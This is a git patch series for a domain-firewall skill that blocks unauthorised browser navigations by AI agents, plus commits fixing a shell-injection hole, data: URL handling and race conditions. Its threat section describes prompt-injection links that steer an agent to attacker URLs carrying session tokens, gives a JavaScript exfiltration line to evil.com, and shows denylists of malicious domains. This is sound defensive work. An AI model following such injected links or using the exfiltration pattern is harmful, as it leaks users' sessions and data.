installDomainFirewall(page, { policies: [ - // Layer 1: Hard deny known-bad domains (instant) - denylist(["evil.com", "phishing-site.com", "malware.download"]), - - // Layer 2: Allow known-good domains (instant) - allowlist([ - "en.wikipedia.org", - "github.com", - "docs.google.com", - ]), - - // Layer 3: Allow GitHub ecosystem subdomains (instant) - pattern(["*.github.com", "*.githubusercontent.com"], "allow"), - - // Layer 4: Allow trusted TLDs (instant) - tld({ ".org": "allow", ".edu": "allow", ".gov": "allow" }), - - // Layer 5: Block suspicious TLD patterns (instant) - pattern(["*.ru", "*.cn", "*.tk"], "deny"), - - // Layer 6: Everything else — ask the operator via stdin (60s timeout) - interactive( - async (req) => { - console.log(`\n Unknown domain: ${req.domain} (${req.url})`); - const answer = await rl.question(" Allow? (y/n): "); - return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; - }, - { timeoutMs: 60000, onTimeout: "deny" }, - ), + denylist(["evil.com", "phishing-site.com"]), // 1. block known-bad + allowlist(["github.com", "docs.google.com"]), // 2. allow known-good + pattern(["*.github.com", "*.githubusercontent.com"], "allow"), // 3. GitHub subdomains + tld({ ".org": "allow", ".edu": "allow", ".gov": "allow" }), // 4. trusted TLDs + pattern(["*.ru", "*.cn", "*.tk"], "deny"), // 5. suspicious TLDs + interactive(promptUser, { timeoutMs: 60000, onTimeout: "deny" }),// 6. ask human ], defaultVerdict: "deny", auditLog, }); ``` -**Policy evaluation flow for `docs.google.com`**: -1. denylist → abstain (not in list) -2. allowlist → allow (match!) - -**Policy evaluation flow for `unknown-site.xyz`**: -1. denylist → abstain -2. allowlist → abstain -3. pattern:allow → abstain -4. tld → abstain (`.xyz` not in rules) -5. pattern:deny → abstain (not `*.ru`/`*.cn`/`*.tk`) -6. interactive → asks human → "deny" (or timeout → "deny") - ## Tips -- **Policy order is your security model**: Put denylists first (fail-fast for known threats), then allowlists, then broad rules (TLD/pattern), then interactive as the last resort. -- **Subdomain coverage**: `allowlist(["github.com"])` does NOT match `api.github.com`. Use `pattern(["*.github.com"], "allow")` for subdomains. -- **Custom policies are easy**: Any `{ name, evaluate }` object works. Use this for time-based rules, rate limiting, or domain reputation lookups. -- **Production timeout pattern**: Always set `timeoutMs` on `interactive()`. A request held indefinitely ties up browser resources. -- **Testing your firewall**: Use `page.sendCDP("Runtime.evaluate")` to inject links and click them programmatically, as shown in Example 3. This simulates prompt injection. -- **Audit log for debugging**: If a navigation is unexpectedly blocked or allowed, check `decidedBy` in the audit log to see which policy made the decision. +- **Policy order is your security model**: denylists first (fail-fast), then allowlists, then broad rules, then interactive as fallback. +- **Subdomain coverage**: `allowlist(["github.com"])` does NOT match `api.github.com`. Use `pattern(["*.github.com"], "allow")` or list subdomains explicitly in the CLI `--allowlist`. +- **Start the firewall before browsing**: install before the first navigation so all requests are intercepted. +- **Audit log**: in code mode, pass `auditLog: []` and check `decidedBy` to see which policy made each decision. In CLI mode, use `--json` and pipe to `jq`. diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index 838c227..3dd3210 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -1,439 +1,227 @@ --- name: domain-firewall -description: Implement CDP-based domain allowlist security for Stagehand/Browserbase browser sessions. Use when the user wants to restrict which domains an AI agent can navigate to, block malicious links, prevent prompt injection redirects, or add navigation security to browser automation. +description: Protect browser sessions from unauthorized navigations. Use when the user wants to restrict which domains an AI agent can navigate to, block malicious links, prevent prompt injection redirects, or add navigation security to browser automation. license: MIT +allowed-tools: Bash +metadata: + openclaw: + requires: + bins: [bb, node] + install: + - kind: node + package: ws --- -# Domain Firewall — CDP Navigation Security for Stagehand +# Domain Firewall — Navigation Security for Browser Agents -Intercept every browser navigation at the Chrome DevTools Protocol level and gate it by composable policies. Non-allowed domains are blocked or frozen mid-request for human approval. +Protect any Browserbase or local Chrome session from unauthorized navigations. One CLI command intercepts every navigation at the Chrome DevTools Protocol level and enforces domain policies — no code changes required. + +## Quick Start + +```bash +# Browserbase session +node skills/domain-firewall/scripts/domain-firewall.mjs \ + --session-id \ + --allowlist "docs.stripe.com,stripe.com,github.com" \ + --default deny + +# Local Chrome (with --remote-debugging-port=9222) +node skills/domain-firewall/scripts/domain-firewall.mjs \ + --cdp-url "ws://localhost:9222/devtools/browser/..." \ + --allowlist "localhost,example.com" \ + --default deny +``` + +The firewall runs in the background. Allowed navigations pass through silently. Blocked navigations are killed at the CDP level — the browser shows `ERR_BLOCKED_BY_CLIENT` and the attacker receives nothing. ## Why This Matters AI agents browsing on behalf of users are vulnerable to navigation-based attacks: -- **Prompt injection links**: A page contains a malicious link embedded in content. The agent's `act()` or `extract()` may follow it. -- **Open redirects**: A trusted domain redirects to an attacker-controlled site via `Location` header or ``. +- **Prompt injection links**: A page contains a malicious link disguised as a "required step." The agent clicks it and navigates to an attacker-controlled URL carrying session tokens. +- **Open redirects**: A trusted domain redirects to an attacker site via `Location` header or ``. - **JavaScript-triggered navigation**: A script calls `window.location = "https://evil.com/exfil?data=..."` after the page loads. -- **Data exfiltration**: An attacker-controlled page reads cookies, localStorage, or page content and sends it to their server. +- **Data exfiltration**: The URL itself carries stolen data — even if the page never loads, the request was sent. -Application-level URL validation (checking the URL before calling `goto()`) only catches explicit navigations. It misses redirects, meta refreshes, link clicks, and JS-initiated navigations entirely. +Application-level URL validation only catches explicit `goto()` calls. It misses redirects, meta refreshes, link clicks, and JS-initiated navigations. -The domain firewall operates at the **protocol level** — below the browser engine. Every network request, regardless of how it was triggered, passes through the gate. +The domain firewall operates at the **protocol level** — below the browser engine. Every network request, regardless of how it was triggered, passes through the gate before leaving the browser. -## How It Works +## Agent Workflow -1. After `stagehand.init()`, call `page.sendCDP("Fetch.enable")` to intercept all requests -2. `page.getSessionForFrame(page.mainFrameId())` gives you the CDP session with `.on()` for events -3. `session.on("Fetch.requestPaused")` fires for every request before the browser executes it -4. Filter to `Document` resource type (page navigations only — images, CSS, JS pass through) -5. Run the navigation through the **policy chain** — each policy returns `"allow"`, `"deny"`, or `"abstain"` -6. First non-`"abstain"` verdict wins. If all policies abstain, `defaultVerdict` applies (default: `"deny"`) - -## Policy System - -The firewall uses composable policies evaluated in order. Each policy independently decides whether to allow, deny, or abstain (defer to the next policy). - -### Types - -```typescript -type Verdict = "allow" | "deny" | "abstain"; - -interface NavigationRequest { - domain: string; // normalized (no www, lowercase) - url: string; // full URL -} - -interface FirewallPolicy { - name: string; - evaluate(req: NavigationRequest): Verdict | Promise; -} - -interface FirewallConfig { - policies: FirewallPolicy[]; - defaultVerdict?: "allow" | "deny"; // default: "deny" - auditLog?: AuditEntry[]; -} - -interface AuditEntry { - time: string; - domain: string; - url: string; - action: "ALLOWED" | "BLOCKED"; - decidedBy: string; // which policy made the decision, or "default" -} -``` +The typical workflow for a coding agent using the `browse` CLI: -### Built-in Policies +```bash +# 1. Create a Browserbase session +bb sessions create --body '{"projectId":"...","keepAlive":true}' +# → returns session ID -Five factory functions, each returning a `FirewallPolicy`: +# 2. Enable the firewall (runs in background) +node skills/domain-firewall/scripts/domain-firewall.mjs \ + --session-id \ + --allowlist "docs.stripe.com,stripe.com" \ + --default deny & -#### `allowlist(domains)` — static domain allowlist +# 3. Browse normally — firewall is transparent +browse open https://docs.stripe.com --session-id +browse snapshot +# ... agent works normally ... -```typescript -function allowlist(domains: string[]): FirewallPolicy +# 4. If the agent or page tries to navigate to an unlisted domain → BLOCKED +# Firewall logs the decision to stderr in real-time: +# [14:30:05] BLOCKED evil.com (default) ``` -Returns `"allow"` if the domain matches, `"abstain"` otherwise. +## CLI Reference -```typescript -allowlist(["wikipedia.org", "en.wikipedia.org", "github.com"]) ``` +domain-firewall.mjs — Protect a browser session with domain policies + +Usage: + node domain-firewall.mjs --session-id [options] + node domain-firewall.mjs --cdp-url [options] -#### `denylist(domains)` — static domain denylist +Options: + --session-id Browserbase session ID + --cdp-url Direct CDP WebSocket URL (local Chrome) + --allowlist Comma-separated allowed domains + --denylist Comma-separated denied domains + --default Default verdict: allow or deny (default: deny) + --quiet Suppress per-request logging + --json Log events as JSON lines + --help Show help -```typescript -function denylist(domains: string[]): FirewallPolicy +Environment: + BROWSERBASE_API_KEY Required when using --session-id ``` -Returns `"deny"` if the domain matches, `"abstain"` otherwise. +### Getting the CDP URL + +**Browserbase sessions** — the script resolves the CDP URL automatically via `bb sessions debug`: -```typescript -denylist(["evil.com", "phishing-site.com", "malware.download"]) +```bash +node domain-firewall.mjs --session-id 25104007-3523-46f8-acba-ad529a3f538e ``` -#### `pattern(globs, verdict)` — glob matching on domain +**Local Chrome** — launch Chrome with remote debugging, then pass the WebSocket URL: -```typescript -function pattern(globs: string[], verdict: "allow" | "deny"): FirewallPolicy -``` +```bash +# Launch Chrome +/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \ + --remote-debugging-port=9222 --headless=new about:blank -Matches domain against glob patterns (`*` = any characters). Returns the given verdict on match, `"abstain"` otherwise. +# Get the browser CDP URL +curl -s http://localhost:9222/json/version | jq -r .webSocketDebuggerUrl +# → ws://localhost:9222/devtools/browser/... -```typescript -pattern(["*.github.com", "*.githubusercontent.com"], "allow") -pattern(["*.ru", "*.cn"], "deny") +# Start firewall +node domain-firewall.mjs --cdp-url "ws://localhost:9222/devtools/browser/..." \ + --allowlist "localhost" --default deny ``` -#### `tld(rules)` — TLD-based rules +### Output -```typescript -function tld(rules: Record): FirewallPolicy -``` +Default (human-readable, written to stdout): -Checks the domain's TLD against the rules map. Returns the mapped verdict, or `"abstain"` if the TLD isn't in the map. +``` +[firewall] Connected. +[firewall] Attached to page target. +[firewall] Allowlist: docs.stripe.com, stripe.com +[firewall] Default: deny +[firewall] Listening for navigations... -```typescript -tld({ ".org": "allow", ".edu": "allow", ".gov": "allow", ".ru": "deny" }) +[14:30:01] ALLOWED docs.stripe.com (allowlist) +[14:30:05] BLOCKED evil.com (default) +[14:30:08] ALLOWED stripe.com (allowlist) ``` -#### `interactive(handler, opts?)` — human-in-the-loop with timeout +JSON mode (`--json`): -```typescript -function interactive( - handler: (req: NavigationRequest) => Promise<"allow" | "deny">, - opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny"; remember?: boolean }, -): FirewallPolicy +```json +{"time":"14:30:01","domain":"docs.stripe.com","url":"https://docs.stripe.com/docs","action":"ALLOWED","policy":"allowlist"} +{"time":"14:30:05","domain":"evil.com","url":"https://evil.com/steal","action":"BLOCKED","policy":"default"} ``` -Calls the async handler and waits for a human decision. Built-in timeout defaults to 30 seconds, auto-denying on timeout. **Remembers decisions by default** — once you approve or deny a domain, you won't be asked again for the rest of the session. Set `remember: false` to prompt every time. +## How It Works -```typescript -import * as readline from "readline/promises"; +1. The script connects to the browser session via CDP WebSocket +2. If connected to a browser-level target, it auto-attaches to the first page target via `Target.attachToTarget` +3. Sends `Fetch.enable` with `urlPattern: "*"` to intercept all network requests +4. On every `Fetch.requestPaused` event: + - Non-Document resources (images, CSS, JS) pass through immediately + - Internal URLs (chrome://, about://, data:) pass through + - The domain is extracted and normalized (strip `www.`, lowercase) + - Denylist is checked first — if the domain is listed, the request is blocked + - Allowlist is checked next — if the domain is listed, the request is allowed + - If neither list matches, the `--default` verdict applies +5. Allowed: `Fetch.continueRequest` — navigation proceeds normally +6. Blocked: `Fetch.failRequest` with `BlockedByClient` — Chrome shows `ERR_BLOCKED_BY_CLIENT` +7. On errors: fail-closed (deny) to avoid permanently hanging the browser -const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); +## Examples -interactive( - async (req) => { - console.log(`\n Agent wants to visit: ${req.domain} (${req.url})`); - const answer = await rl.question(" Allow? (y/n): "); - return answer.trim().toLowerCase().startsWith("y") ? "allow" : "deny"; - }, - { timeoutMs: 60000, onTimeout: "deny" }, // remember: true is the default -) -``` +### Restrict agent to specific domains -### Composing Policies - -Policies evaluate in array order. First non-`"abstain"` verdict wins. - -```typescript -const config: FirewallConfig = { - policies: [ - denylist(["evil.com", "phishing.com"]), // 1. deny known bad domains - allowlist(["wikipedia.org", "github.com"]), // 2. allow known good domains - tld({ ".org": "allow", ".edu": "allow" }), // 3. allow trusted TLDs - pattern(["*.github.com"], "allow"), // 4. allow GitHub subdomains - // 5. everything else falls through to defaultVerdict - ], - defaultVerdict: "deny", - auditLog: [], -}; +```bash +node domain-firewall.mjs --session-id $SID \ + --allowlist "docs.stripe.com,stripe.com,github.com" \ + --default deny ``` -**Evaluation for `evil.com`**: denylist → `"deny"` (stops here) -**Evaluation for `github.com`**: denylist → `"abstain"` → allowlist → `"allow"` (stops here) -**Evaluation for `mozilla.org`**: denylist → `"abstain"` → allowlist → `"abstain"` → tld → `"allow"` (`.org` rule) -**Evaluation for `example.com`**: all abstain → `defaultVerdict` → `"deny"` - -## Prerequisites - -- Stagehand v3 (`@browserbasehq/stagehand ^3.0.0`) -- Environment variables: `BROWSERBASE_API_KEY`, `BROWSERBASE_PROJECT_ID` -- Optional: `OPENAI_API_KEY` or `MODEL_API_KEY` (only if using Stagehand AI features like `act()`) - -## Core Implementation - -Copy this into your project. The file exports all types, built-in policies, and `installDomainFirewall`. - -### Helpers - -```typescript -function normalizeDomain(hostname: string): string { - return hostname.replace(/^www\./, "").toLowerCase(); -} - -function ts(): string { - return new Date().toISOString().substring(11, 19); -} - -function globToRegex(glob: string): RegExp { - const escaped = glob - .replace(/[.+^${}()|[\]\\]/g, "\\$&") - .replace(/\*/g, ".*"); - return new RegExp(`^${escaped}$`); -} - -async function evaluatePolicies( - policies: FirewallPolicy[], - req: NavigationRequest, - defaultVerdict: "allow" | "deny", -): Promise<{ verdict: "allow" | "deny"; decidedBy: string }> { - for (const policy of policies) { - const v = await policy.evaluate(req); - if (v !== "abstain") { - return { verdict: v, decidedBy: policy.name }; - } - } - return { verdict: defaultVerdict, decidedBy: "default" }; -} -``` +### Block known-bad domains, allow everything else -### Built-in Policy Implementations - -```typescript -export function allowlist(domains: string[]): FirewallPolicy { - const set = new Set(domains.map((d) => normalizeDomain(d))); - return { - name: "allowlist", - evaluate: (req) => (set.has(req.domain) ? "allow" : "abstain"), - }; -} - -export function denylist(domains: string[]): FirewallPolicy { - const set = new Set(domains.map((d) => normalizeDomain(d))); - return { - name: "denylist", - evaluate: (req) => (set.has(req.domain) ? "deny" : "abstain"), - }; -} - -export function pattern( - globs: string[], - verdict: "allow" | "deny", -): FirewallPolicy { - const regexes = globs.map(globToRegex); - return { - name: `pattern:${verdict}`, - evaluate: (req) => - regexes.some((r) => r.test(req.domain)) ? verdict : "abstain", - }; -} - -export function tld( - rules: Record, -): FirewallPolicy { - return { - name: "tld", - evaluate: (req) => { - const dot = "." + req.domain.split(".").pop(); - return rules[dot] ?? "abstain"; - }, - }; -} - -export function interactive( - handler: (req: NavigationRequest) => Promise<"allow" | "deny">, - opts?: { timeoutMs?: number; onTimeout?: "allow" | "deny"; remember?: boolean }, -): FirewallPolicy { - const timeoutMs = opts?.timeoutMs ?? 30000; - const onTimeout = opts?.onTimeout ?? "deny"; - const remember = opts?.remember ?? true; - const approved = new Set(); - const denied = new Set(); - return { - name: "interactive", - evaluate: async (req) => { - if (approved.has(req.domain)) return "allow"; - if (denied.has(req.domain)) return "deny"; - const verdict = await Promise.race([ - handler(req), - new Promise<"allow" | "deny">((resolve) => - setTimeout(() => resolve(onTimeout), timeoutMs), - ), - ]); - if (remember) { - if (verdict === "allow") approved.add(req.domain); - else denied.add(req.domain); - } - return verdict; - }, - }; -} +```bash +node domain-firewall.mjs --session-id $SID \ + --denylist "evil.com,phishing-site.com,malware.download" \ + --default allow ``` -### installDomainFirewall - -```typescript -export async function installDomainFirewall( - page: any, - config: FirewallConfig, -): Promise { - const policies = config.policies; - const defaultVerdict = config.defaultVerdict ?? "deny"; - const auditLog = config.auditLog; - - await page.sendCDP("Fetch.enable", { - patterns: [{ urlPattern: "*" }], - }); - - const session = page.getSessionForFrame(page.mainFrameId()); - - session.on( - "Fetch.requestPaused", - async (params: { - requestId: string; - request: { url: string }; - resourceType?: string; - }) => { - const url = params.request.url; - - // Pass through non-document requests (images, CSS, JS, fonts, etc.) - const resourceType = params.resourceType || ""; - if (resourceType !== "Document" && resourceType !== "") { - await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); - return; - } - - // Pass through internal pages - if ( - url.startsWith("chrome") || - url.startsWith("about:") || - url.startsWith("data:") - ) { - await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); - return; - } - - let domain: string; - try { - domain = normalizeDomain(new URL(url).hostname); - } catch { - await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); - return; - } - - const req: NavigationRequest = { domain, url }; - - try { - const { verdict, decidedBy } = await evaluatePolicies( - policies, - req, - defaultVerdict, - ); - - if (verdict === "allow") { - auditLog?.push({ - time: ts(), domain, url: url.substring(0, 80), - action: "ALLOWED", decidedBy, - }); - await page.sendCDP("Fetch.continueRequest", { requestId: params.requestId }); - } else { - auditLog?.push({ - time: ts(), domain, url: url.substring(0, 80), - action: "BLOCKED", decidedBy, - }); - await page.sendCDP("Fetch.failRequest", { - requestId: params.requestId, - errorReason: "BlockedByClient", - }); - } - } catch (err) { - // Fail-closed: deny the request on any policy error to avoid - // permanently hanging the browser with a paused CDP request - auditLog?.push({ - time: ts(), domain, url: url.substring(0, 80), - action: "BLOCKED", decidedBy: "error", - }); - await page.sendCDP("Fetch.failRequest", { - requestId: params.requestId, - errorReason: "BlockedByClient", - }); - } - }, - ); -} +### Combine allowlist and denylist + +Denylist is checked first, then allowlist, then default: + +```bash +node domain-firewall.mjs --session-id $SID \ + --denylist "ads.example.com" \ + --allowlist "example.com,cdn.example.com" \ + --default deny ``` -## Basic Usage - -```typescript -import { Stagehand } from "@browserbasehq/stagehand"; -import { - installDomainFirewall, - allowlist, - denylist, - type AuditEntry, -} from "./domain-firewall"; - -const stagehand = new Stagehand({ env: "BROWSERBASE" }); -await stagehand.init(); -const page = stagehand.context.pages()[0]; - -const auditLog: AuditEntry[] = []; - -await installDomainFirewall(page, { - policies: [ - denylist(["evil.com"]), - allowlist(["wikipedia.org", "en.wikipedia.org"]), - ], - defaultVerdict: "deny", - auditLog, -}); - -// Passes through (allowlist) -await page.goto("https://en.wikipedia.org/wiki/Web_browser"); - -// Blocked (default deny) -await page.goto("https://example.com").catch(() => { - console.log("Blocked by firewall"); -}); - -// Print audit log -for (const e of auditLog) { - console.log(`${e.action} ${e.domain} (${e.decidedBy})`); -} - -await stagehand.close(); +### Pipe JSON output to a file for analysis + +```bash +node domain-firewall.mjs --session-id $SID \ + --allowlist "example.com" --default deny --json > firewall.log & + +# Later: analyze blocks +cat firewall.log | jq 'select(.action == "BLOCKED")' ``` ## Best Practices -1. **Put denylists first** — Check known-bad domains before known-good. This ensures a domain on both lists is denied. -2. **Include subdomains explicitly in allowlists** — `wikipedia.org` and `en.wikipedia.org` are separate domains. Use `pattern(["*.wikipedia.org"], "allow")` for broad subdomain matching. -3. **Install before the first navigation** — Call `installDomainFirewall()` immediately after `stagehand.init()` and before any `page.goto()`. -4. **Add your starting URL's domain to the allowlist** — Otherwise the first `goto()` will be blocked. -5. **Log everything** — Pass an `auditLog` array and review it after the session. The `decidedBy` field tells you which policy made each decision. -6. **Set timeouts on interactive policies** — Don't hold requests indefinitely. The `interactive()` policy has built-in timeout support. -7. **Combine with Browserbase stealth/proxy** — The firewall protects the agent from navigating to bad domains. Stealth mode and proxies protect the agent from being detected by good domains. +1. **Start the firewall before browsing** — run `domain-firewall.mjs` before the first `browse open` so all navigations are intercepted from the start. +2. **Include your starting URL's domain** — the allowlist must include the domain you navigate to first, otherwise it will be blocked. +3. **Include subdomains explicitly** — `stripe.com` and `docs.stripe.com` are separate domains. List both, or use the code API with `pattern(["*.stripe.com"], "allow")` for glob matching. +4. **Denylist takes priority** — a domain on both the denylist and allowlist will be denied. +5. **Use `--json` for programmatic analysis** — pipe to `jq` or save to a file for post-session review. +6. **Use `--default deny` for high-security tasks** — only explicitly allowed domains pass through. This is the default. +7. **Use `--default allow` with a denylist for low-friction browsing** — block known-bad domains while allowing general navigation. ## Troubleshooting -- **Navigation timeout after deny**: Expected. `Fetch.failRequest` causes the `page.goto()` Promise to reject with a network error. Wrap `goto()` in `.catch()`. -- **Sub-resources being blocked**: The `resourceType !== "Document"` filter should pass them through. If not, check that `Fetch.enable` patterns aren't too restrictive. -- **Firewall not catching link clicks**: Verify `Fetch.enable` was called with `patterns: [{ urlPattern: "*" }]`. -- **Session disconnected**: The CDP session from `getSessionForFrame` is tied to the frame lifecycle. If the page crashes, reinstall the firewall. -- **Policy order matters**: If a domain matches both an allowlist and a denylist, whichever policy appears first in the array wins. Put denylists before allowlists. +- **"Failed to get CDP URL"**: Make sure the session is RUNNING (`bb sessions get `) and `BROWSERBASE_API_KEY` is set. +- **"Unexpected server response: 500"**: Another CDP client is connected to the page target. The script now auto-attaches via the browser target to avoid this — use the browser-level WebSocket URL (`/devtools/browser/...`), not the page-level one. +- **Navigation timeout after block**: Expected. `Fetch.failRequest` causes `goto()` to reject. Wrap navigation in `.catch()`. +- **Sub-resources blocked**: The `resourceType !== "Document"` filter passes through images/CSS/JS. If sub-resources are being blocked, the page's fetch/XHR requests may be Document-typed — this is rare. +- **Firewall not catching clicks**: Verify the script is running and shows "Listening for navigations..." in the output. + +## Advanced: Code Integration (TypeScript API) + +For developers who want to embed the firewall directly in Stagehand projects with composable policies, see [REFERENCE.md](REFERENCE.md) for the full TypeScript API including: + +- `installDomainFirewall(page, config)` — install directly on a Stagehand page +- Five built-in policy factories: `allowlist()`, `denylist()`, `pattern()`, `tld()`, `interactive()` +- Composable policy chains with three-value verdicts (`allow` / `deny` / `abstain`) +- Human-in-the-loop approval with session memory -For detailed examples, see [EXAMPLES.md](EXAMPLES.md). -For API reference, see [REFERENCE.md](REFERENCE.md). +For detailed usage examples, see [EXAMPLES.md](EXAMPLES.md). From f64205d351a8015e232cb8bcd6ff5b9b4571a412 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 15:06:55 -0700 Subject: [PATCH 07/25] Fix normalizeDomain: lowercase before stripping www prefix Swaps the order so that "WWW.Example.com" or "Www.github.com" correctly normalizes to "example.com" / "github.com" instead of silently retaining the www prefix after lowercasing. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/scripts/domain-firewall.mjs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index fad6cf3..77bd322 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -95,7 +95,7 @@ Environment: // ============================================================================= function normalizeDomain(hostname) { - return hostname.replace(/^www\./, "").toLowerCase(); + return hostname.toLowerCase().replace(/^www\./, ""); } function ts() { From d95715ba8c4af8d7f0696b8428ae1d4153986e12 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 15:19:12 -0700 Subject: [PATCH 08/25] Fix shell injection in getCDPUrl via execFileSync Replace execSync with template string with execFileSync and an args array so that a malicious --session-id value cannot execute arbitrary shell commands. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/scripts/domain-firewall.mjs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index 77bd322..78c9714 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -14,7 +14,7 @@ * BROWSERBASE_API_KEY Required for session debug URL lookup */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; import WebSocket from "ws"; // ============================================================================= @@ -137,7 +137,7 @@ function evaluate(domain, opts) { function getCDPUrl(sessionId) { try { - const raw = execSync(`bb sessions debug ${sessionId}`, { + const raw = execFileSync("bb", ["sessions", "debug", sessionId], { encoding: "utf-8", timeout: 15000, stdio: ["pipe", "pipe", "pipe"], From fdb64e8ad412c871f6a9117c383ccb3e2d74c841 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 15:20:42 -0700 Subject: [PATCH 09/25] Stop passing data: URLs through the firewall data: URLs can contain attacker-controlled HTML with embedded sub-resource loads that bypass the firewall. Remove data: from the internal URL passthrough so they flow through normal policy evaluation where the empty hostname is blocked by default-deny. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/SKILL.md | 2 +- skills/domain-firewall/scripts/domain-firewall.mjs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/skills/domain-firewall/SKILL.md b/skills/domain-firewall/SKILL.md index 3dd3210..df8077d 100644 --- a/skills/domain-firewall/SKILL.md +++ b/skills/domain-firewall/SKILL.md @@ -149,7 +149,7 @@ JSON mode (`--json`): 3. Sends `Fetch.enable` with `urlPattern: "*"` to intercept all network requests 4. On every `Fetch.requestPaused` event: - Non-Document resources (images, CSS, JS) pass through immediately - - Internal URLs (chrome://, about://, data:) pass through + - Internal URLs (chrome://, about://) pass through; `data:` URLs are evaluated by policy - The domain is extracted and normalized (strip `www.`, lowercase) - Denylist is checked first — if the domain is listed, the request is blocked - Allowlist is checked next — if the domain is listed, the request is allowed diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index 78c9714..1a6b2de 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -285,7 +285,7 @@ async function main() { } // Pass through internal URLs - if (url.startsWith("chrome") || url.startsWith("about:") || url.startsWith("data:")) { + if (url.startsWith("chrome") || url.startsWith("about:")) { await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); return; } From 590fb62f8346f75d665b3ca65531ada6cd37ae14 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 15:21:25 -0700 Subject: [PATCH 10/25] Register Fetch.requestPaused handler before Fetch.enable Avoids a race where an event arriving in the same TCP chunk as the Fetch.enable response is emitted synchronously before the await resumes, causing the handler to miss it and leaving the request permanently paused. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/scripts/domain-firewall.mjs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index 1a6b2de..f740df2 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -264,10 +264,8 @@ async function main() { console.error(`[firewall] Default: ${opts.defaultVerdict}`); console.error(`[firewall] Listening for navigations...\n`); - // 3. Enable Fetch interception - await sendCDP("Fetch.enable", { patterns: [{ urlPattern: "*" }] }); - - // 4. Handle intercepted requests + // 3. Register handler BEFORE enabling Fetch to avoid missing events + // that arrive in the same TCP chunk as the Fetch.enable response ws.on("message", async (raw) => { const msg = JSON.parse(raw.toString()); // Match events from our attached session or direct page connection @@ -344,6 +342,9 @@ async function main() { } }); + // 4. Enable Fetch interception (after handler is registered) + await sendCDP("Fetch.enable", { patterns: [{ urlPattern: "*" }] }); + // 5. Graceful shutdown const cleanup = async () => { console.error("\n[firewall] Shutting down..."); From bcbe9e5ddac6d14fc7664b0f18700696afbb5ac5 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 15:32:07 -0700 Subject: [PATCH 11/25] Fail-closed on URL parse errors Unparseable URLs were being passed through via continueRequest, contradicting the fail-closed design. Now blocked with failRequest to match the error handling in policy evaluation. Co-Authored-By: Claude Opus 4.6 (1M context) --- skills/domain-firewall/scripts/domain-firewall.mjs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index f740df2..924ec12 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -288,12 +288,18 @@ async function main() { return; } - // Extract domain + // Extract domain — fail-closed on parse error let domain; try { domain = normalizeDomain(new URL(url).hostname); } catch { - await sendCDP("Fetch.continueRequest", { requestId: params.requestId }); + await sendCDP("Fetch.failRequest", { + requestId: params.requestId, + errorReason: "BlockedByClient", + }); + if (!opts.quiet) { + console.log(`[${ts()}] BLOCKED (unparseable URL)`); + } return; } From 4dcf32e3fca636f2a30a37dee67b1083f3c839e9 Mon Sep 17 00:00:00 2001 From: Alex Qiu Date: Fri, 3 Apr 2026 15:44:37 -0700 Subject: [PATCH 12/25] Reject on CDP errors, validate critical setup steps MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - createCDPClient now rejects promises on CDP error responses instead of silently resolving with the error object - sendCDP wrapper also uses reject/resolve - Target.attachToTarget failure exits with fatal error instead of continuing with undefined sessionId - Missing page target exits with fatal error - "Listening for navigations..." only prints after Fetch.enable succeeds — if it fails, main().catch() prints Fatal and exits Co-Authored-By: Claude Opus 4.6 (1M context) --- .../scripts/domain-firewall.mjs | 35 ++++++++++++------- 1 file changed, 23 insertions(+), 12 deletions(-) diff --git a/skills/domain-firewall/scripts/domain-firewall.mjs b/skills/domain-firewall/scripts/domain-firewall.mjs index 924ec12..7089ae8 100644 --- a/skills/domain-firewall/scripts/domain-firewall.mjs +++ b/skills/domain-firewall/scripts/domain-firewall.mjs @@ -185,8 +185,8 @@ function createCDPClient(ws) { send(method, params = {}) { const id = client._nextId++; ws.send(JSON.stringify({ id, method, params })); - return new 